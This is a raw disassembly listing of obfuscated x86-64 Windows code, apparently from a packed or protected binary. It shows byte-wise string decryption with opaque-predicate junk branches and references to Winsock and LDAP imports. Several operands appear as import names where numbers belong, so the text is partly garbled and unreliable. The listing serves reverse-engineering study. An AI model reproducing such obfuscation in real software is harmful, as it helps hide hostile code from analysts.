mov byte [rbp + 0xb2e], 0x88
mov byte [rbp + 0xb2f], 0xa8
mov byte [rbp + 0xb30], 0x51
mov byte [rbp + 0xb31], 0x5e
mov byte [rbp + 0xb32], Ordinal_79
mov byte [rbp + 0xb33], 0x52
mov byte [rbp + 0xb34], 0x56
mov byte [rbp + 0xb35], 0xe1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb36], xmm0
mov dword [rbp + 0xb46], eax
mov byte [rbp + 0xb4a], al
movabs rsi, 0x7b805f7a9b4c7181
movabs r12, 0xa45b7242ca715abd
movabs r14, 0x3da70a43eb8c449f
movabs r15, 0xf4f025be56a98f25
movzx r10d, byte [rsp + 0x50]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x1400768f8
movzx r11d, byte [rbp + rbx + 0xb28]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400768ef
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140075a4c
lea rcx, [rbx + r12]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0x2b
jmp 0x140075a93
je 0x14007686a
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400767d6
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400767a3
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007676b
lea rax, [r9 + 5]
cmp r8, rax
je 0x140076706
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400766d8
cmp r9, rbx
ja 0x1400768e6
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x140075abd
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x79
jmp 0x140075b00
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x140076683
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007664b
lea rax, [r9 + 5]
cmp r8, rax
je 0x140076616
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400765ee
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400765b8
nop
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400761b7
nop dword [rax]
lea rax, [r9 + 9]
cmp r8, rax
je 0x140076193
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140076161
lea rax, [r9 + 1]
cmp r8, rax
je 0x140076137
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140076112
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400760d6
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400760a2
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007607e
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140076055
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14007601f
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140075b10
lea r8, [r9 + 1]
lea r9, [r8 + 5]
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400768c2
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14007689e
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140075d09
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140075cea
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140075ccb
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x140075fbb
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x140075f5c
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140075f09
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140075eda
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x140075b10
lea r8, [r9 + 2]
lea r9, [r8 + 0x64]
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140075ea0
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x140075e77
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140075e4f
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140075e16
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140075dda
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x140075db6
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140075d87
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140075d55
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140075d30
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x140075b10
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x80]
jmp 0x140075b10
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x59
add r10b, dl
jmp 0x140075b00
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 3
add r10b, dl
jmp 0x140075a93
movabs rdx, 0xac394138c1c6d9ab
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add dl, 0x53
add r10b, dl
jmp 0x140075a15
movabs rdx, 0xdc02fbd4da638c08
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x38
jmp 0x1400766a3
movabs rdx, 0x934c174f4580d68e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x140075a02
movabs rdx, 0x4a9532c9b09e2114
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140075a02
movabs rcx, 0x1de4e441bbb6b9a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x36
jmp 0x140076729
movabs rdx, 0xb92769be86d8b620
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140075a02
movabs rdx, 0x70708538f1f600a6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140075a02
movabs rdx, 0x27b9a0b35d134b2c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x34
add r10b, dl
jmp 0x1400767f4
movabs rdx, 0xdf02bc2dc83095b2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140076824
movabs rdx, 0x964bd7a8334de038
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xb28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140075a02
movabs rcx, 0x60829c5a3f171a87
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x4f
mov byte [rbp + rbx + 0xb28], r10b
inc rbx
jmp 0x140075a02
movabs rdx, 0x17cbb7d4aa34650d
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x5b
add r10b, dl
cmp r9, 6
jb 0x140075ef9
movabs rdx, 0x7c6f869ca92a274e
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x44]
jmp 0x1400766a6
movabs rcx, 0xcf14d34f1551af93
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 5
cmp r8, 5
jae 0x140076557
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x140076416
movabs rdx, 0xa54a9964d84f108a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x140075f29
movabs rdx, 0x865deec9806efa19
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x51
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x1000
je 0x140076587
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x1400762fb
movabs rcx, 0x29ca39ea3d029f09
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3f
jmp 0x140075f7b
movabs rcx, 0xe5023cdfa3caa906
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x2a
movzx eax, byte [rbp + rbx + 0xb28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140075a02
movabs rdx, 0x9c4b585a0ee7f38c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140076824
movabs rcx, 0x539473d47a053e12
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7e
jmp 0x1400767f4
movabs rcx, 0xadd8f4ee5228898
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x28
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140075a02
movabs rdx, 0xc226aac9503fd31e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140075a02
movabs rdx, 0x796fc643bb5d1da4
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x7c
jmp 0x140076726
movabs rcx, 0x30b8e1be267a682a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x26
dec rbx
inc rbx
jmp 0x140075a02
movabs rdx, 0xe801fd389197b2b0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x140075a02
movabs rcx, 0x9f4b18b2fcb4fd36
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7a
jmp 0x1400766a6
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400761dc
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x2b
jmp 0x140075fdb
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14007621b
movabs rcx, 0xf700bef53698e302
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0xe
movzx eax, byte [rbp + rbx + 0xb28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140075a02
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140076258
movabs rcx, 0xd1256c85f5410370
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140075a02
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140076299
movabs rcx, 0x19dc510b8a23b8ea
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x66
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140075a02
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400762c8
movabs rdx, 0x629335911f066e64
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x140076726
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140075fde
movabs rdx, 0x3cb7e321ddae8ed2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400766a3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140076329
movabs rdx, 0x72811e6fd1e55483
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x6b
jmp 0x1400766a3
inc rax
cmp r8, rax
jne 0x14007635f
movabs rcx, 0xbb3802f566c809fd
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x15
inc r9
dec rbx
inc rbx
jmp 0x140075a02
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140076393
movabs rcx, 0x3eee77afbaabf77
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x41
dec rbx
inc rbx
jmp 0x140075a02
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400763d4
movabs rcx, 0x955cb08625702a6b
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x13
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140075a02
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140075f7b
movabs rcx, 0xde13950bba52dfe5
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x43
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140075a02
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140076454
movabs rcx, 0xee017dea6d31c604
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1c
movzx eax, byte [rbp + rbx + 0xb28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140075a02
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140076486
movabs rdx, 0x7f6f46f596f730f8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400767f4
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400764b8
movabs rdx, 0x5993f486559f5166
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140076729
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400764eb
movabs rcx, 0xa24ad90bea8206e0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
dec rbx
inc rbx
jmp 0x140075a02
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140076521
movabs rcx, 0xeb01bd917f64bc5a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x76
inc r9
dec rbx
inc rbx
jmp 0x140075a02
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140075f2c
movabs rdx, 0x33b8a217144771d4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400766a6
movabs rdx, 0xc5266b223e0cdcc8
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx r10d, byte [rbp + rbx + 0xb28]
sub r10b, al
sub r10b, 0x78
add r10b, dl
add r10b, r11b
jmp 0x140076729
movabs rdx, 0xddd4fa7d2ef9242
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0xb28]
add r10b, r11b
add r10b, dl
jmp 0x1400767f4
movabs rcx, 0x9ee682cd744d2cb
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x73
movzx eax, byte [rbp + rbx + 0xb28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140075a02
movabs rdx, 0x78809f21ad7f67d7
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x1f
add r10b, dl
jmp 0x1400767f4
movabs rcx, 0x2fc9ba9c189cb25d
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x75
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140075a02
movabs rcx, 0xe712d61683b9fce3
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x35
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140075a02
movabs rdx, 0xc4374400302f26fb
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x23
add r10b, dl
movabs rcx, 0x20caf8df739b820b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x4d
add cl, r11b
mov byte [rbp + rbx + 0xb28], cl
inc r9
dec rbx
inc rbx
jmp 0x140075a02
movabs rcx, 0xea12966f7187068d
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x25
inc r9
dec rbx
inc rbx
jmp 0x140075a02
movabs rdx, 0x58a4cd6447c19b99
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x2f
add r10b, dl
movabs rcx, 0x6981dd65087e3785
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x5d
add r11b, r10b
add r11b, cl
mov byte [rbp + rbx + 0xb28], r11b
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140075a02
movabs rcx, 0xfede8deb2dee61f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x27
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140075a02
movabs rcx, 0xc73704591dfc30a5
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 0x7d
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140075a02
mov r11, rdx
movabs rax, 0x7e801fd389197b2b
add rax, rbx
and dl, al
add dl, dl
sub al, dl
lea r10d, [r11 + rax]
sub r10b, 0x2d
movabs rcx, 0xb238c1ea9d60ecff
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 7
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xb28], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0x5694342d67d247bc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x24
add cl, r11b
mov byte [rbp + rbx + 0xb28], cl
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xb28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140075a02
movabs rcx, 0xed1256c85f541037
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
add r10b, 0x7f
movzx eax, byte [rbp + rbx + 0xb28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140075a02
movabs rcx, 0x63825cb32ce42431
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x57
jmp 0x140075a00
movabs rcx, 0x1acb782d98016eb7
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
dec r10b
jmp 0x1400759f0
lea rcx, [rbp + 0x1690224]
jmp 0x1400768ff
lea rcx, [rbp + 0x9a5ce1]
jmp 0x1400768ff
lea rcx, [rbp + 0xb28]
mov rdx, rdi
call fcn.140035c60
test al, al
je 0x140076946
lea rdx, [0x140227fe0]
lea rcx, [rbp + 0x3d8]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022e160]
call fcn.14006a810
mov rcx, rax
call fcn.14006bc00
cmp byte [rax], 0
je 0x140076946
mov rcx, qword [0x14022de80]
call fcn.14006c8f0
movss xmm1, dword [0x1401c1a08]
xorps xmm0, xmm0
call fcn.140017760
movss xmm2, dword [0x1401c198c]
movss xmm1, dword [0x1401c19a0]
lea rcx, [rbp - 0x7c]
call fcn.140006440
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rax]
lea rcx, [0x140227c30]
call fcn.14006f4a0
test al, al
je 0x1400769f4
lea rdx, [0x140228160]
lea rcx, [rbp + 0x3f8]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022e160]
call fcn.14006a810
mov rcx, rax
lea rdx, [0x140227c30]
call fcn.1400a3880
cmp dword [reloc.WS2_32.dll_accept], 0
sete byte [rsp + 0x50]
lea rdx, [0x140228180]
lea rcx, [rbp + 0x418]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022e160]
call fcn.14006a810
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.1400a38a0
lea rdx, [0x140228160]
lea rcx, [rbp + 0x438]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022e160]
call fcn.14006a810
mov rcx, rax
call fcn.14006bc20
mov ecx, dword [rax]
cmp dword [0x140227c30], ecx
je 0x140076a59
lea rdx, [0x140228160]
lea rcx, [rbp + 0x458]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022e160]
call fcn.14006a810
mov rcx, rax
lea rdx, [0x140227c30]
call fcn.1400a3880
lea rdx, [0x140228180]
lea rcx, [rbp + 0x478]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022e160]
call fcn.14006a810
mov rcx, rax
call fcn.14006bc00
xor ecx, ecx
mov r8d, dword [reloc.WS2_32.dll_accept]
test r8d, r8d
sete cl
movzx eax, byte [rax]
cmp ecx, eax
je 0x140076ad0
test r8d, r8d
sete byte [rsp + 0x40]
lea rdx, [0x140228180]
lea rcx, [rbp + 0x498]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022e160]
call fcn.14006a810
mov rcx, rax
lea rdx, [rsp + 0x40]
call fcn.1400a38a0
lea rdx, [0x1402281c0]
lea rcx, [rbp + 0x4b8]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022e160]
call fcn.14006a810
mov rcx, rax
call fcn.14006bc00
mov rsi, rax
mov byte [rbp + 0xb50], Ordinal_45
mov byte [rbp + 0xb51], Ordinal_200
mov byte [rbp + 0xb52], gethostname
mov byte [rbp + 0xb53], gethostname
mov byte [rbp + 0xb54], Ordinal_50
mov byte [rbp + 0xb55], 0xdc
mov byte [rbp + 0xb56], 0x66
mov byte [rbp + 0xb57], 6
mov byte [rbp + 0xb58], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0xb59], Ordinal_217
mov byte [rbp + 0xb5a], 0x42
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb5b], xmm0
mov qword [rbp + 0xb6b], rax
movabs r14, 0x806a7514c5cc24bc
movabs r15, 0x51fd99405a2edac4
movabs r12, 0x45c2b2ac1695512c
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor edi, edi
movabs rdx, 0x61d734a21ccc4cc
cmp rdi, 0x23
jae 0x14007786d
movzx ebx, byte [rbp + rdi + 0xb50]
mov r10, rbx
cmp r8, rdi
ja 0x140077864
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140076bed
lea rcx, [rdi + rdx]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x6c
jmp 0x140076c20
je 0x1400777d1
lea rax, [r9 + 3]
cmp r8, rax
je 0x140077739
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400776d5
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400776a7
nop word [rax + rax]
cmp r9, rdi
ja 0x14007785b
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x140076c49
lea rcx, [rdi + r14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x24
jmp 0x140076c90
lea rax, [r9 + 1]
cmp r8, rax
je 0x140077655
inc rax
cmp r8, rax
je 0x140077644
lea rax, [r9 + 3]
cmp r8, rax
je 0x140077630
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400775fd
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400775d8
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140077299
nop dword [rax]
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140077271
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140077240
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14007722c
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14007721d
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400771fa
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400771c7
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14007719f
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140077177
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14007713e
lea r8, [r9 + 0x20]
lea r9, [r8 + 0x7a]
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140077833
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14007780b
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140076e6b
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140076e51
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140076e37
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400770da
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14007707d
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14007702c
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140076ff9
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140076ca0
lea r8, [r9 + 0x200]
lea r9, [r8 + 3]
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140076fc0
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140076f9d
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140076f7a
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140076f47
lea rax, [r9 + 2]
cmp r8, rax
ja 0x140076f24
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x140076f10
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x140076ee2
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140076eb1
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x140076e8e
lea r8, [r9 + 8]
lea r9, [r8 + 0x3e8]
jmp 0x140076ca0
lea rcx, [rdi + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5c
jmp 0x140076c90
lea rcx, [rdi + r12]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x34
jmp 0x140076c20
movabs rcx, 0x3987cc17d2fbc794
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xc
jmp 0x140076bbe
movabs rcx, 0x353a8a62e6125e0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
jmp 0x140077673
movabs rdx, 0xf718c211eac79c48
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x140076ba2
movabs rdx, 0xeadddb7da72e12b0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x140076ba2
movabs rdx, 0xdea2f4e963948918
mov ecx, Ordinal_45
jmp 0x1400776e4
movabs rcx, 0xd2680e551ffaff80
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
jmp 0x140077721
